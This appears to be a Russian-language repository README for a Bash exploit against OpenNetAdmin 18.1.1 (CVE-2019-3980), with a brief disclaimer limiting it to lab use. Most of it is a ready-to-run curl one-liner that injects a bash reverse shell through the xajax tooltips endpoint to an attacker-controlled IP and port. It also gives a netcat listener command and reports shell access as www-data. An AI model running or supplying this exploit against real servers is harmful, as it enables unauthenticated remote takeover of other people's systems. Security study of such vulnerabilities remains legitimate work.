
Эксплойт на основе Bash для CVE-2019-3980, нацеленный на OpenNetAdmin 18.1.1, обеспечивающий неаутентифицированное удаленное выполнение кода через внедрение команд и обратную оболочку.
⚠️ Отказ от ответственности
Этот репозиторий предназначен строго только для образовательных и исследовательских целей.
Предоставленная здесь информация и код могут быть использованы в контролируемых средах, например, на частных лабораторных машинах.
Несанкционированное использование этого кода против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, незаконно и неэтично.
Автор не несет ответственности за любое неправомерное использование или причиненный ущерб.
Уязвимость удаленного выполнения кода существует в OpenNetAdmin 18.1.1 через интерфейс AJAX-запросов xajax.
Уязвимость возникает из-за неправильной санитизации входных данных, что позволяет внедрять команды с помощью специально сформированного POST-запроса к /ona/.
Этот эксплойт использует плагин tooltips для запуска обратного шелла на прослушиватель атакующего.
xajaxargs[]curl)Этот кастомизированный однострочник на Bash отправляет POST-запрос к уязвимой конечной точке xajax=window_submit с внедренным кодом обратного шелла.
#!/bin/bash
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F<YOUR-IP>%2F<YOUR-PORT>%200%3E%261%22;echo \"END\"&xajaxargs[]=ping" "http://<TARGET-IP>/ona/" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
🛠️ Примечание:
Замените<YOUR-IP>и<YOUR-PORT>на IP и порт вашего Netcat-слушателя.
Запустите слушатель с помощью:
nc -nlvp <PORT>

Скриншот уязвимого интерфейса OpenNetAdmin и версии.
bash shell.sh

Скриншот выполнения скрипта, запускающего полезную нагрузку.
nc -nlvp <PORT>

Обратный шелл получен как
www-data.
Ознакомьтесь с подробным руководством и теорией в моей статье на Medium:
👉 Читать блог на Medium